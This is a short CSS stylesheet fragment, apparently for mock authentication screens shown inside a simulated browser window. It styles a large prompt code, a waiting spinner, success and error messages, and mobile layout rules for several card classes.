.m-prompt-value{font-size:56px;font-weight:500;color:#202124;font-family:'Segoe UI',Roboto,sans-serif;letter-spacing:8px}

/* Spinner row (auth waiting, device) */
.m-spinner-row{display:flex;align-items:center;justify-content:center;gap:12px;font-size:14px;color:#5f6368}
.m-spinner{width:24px;height:24px;border:3px solid #e8eaed;border-top:3px solid #0078d4;border-radius:50%;animation:spin .8s linear infinite}

/* Success/error */
.m-success-check{margin-bottom:16px}
.m-error-svg{margin-bottom:16px}
.m-error-text{font-size:14px;color:#5f6368;margin-bottom:24px;line-height:1.5;text-align:center}

/* ═════ RESPONSIVE ═════ */
@media(max-width:520px){
  .c-card{padding:28px 20px 24px}
  .browser-window{border-radius:0}
  .browser-body{padding:24px 12px}
  .g-card,.y-card,.m-card{padding:32px 20px 28px}
  .modal-actions{flex-direction:column}
}
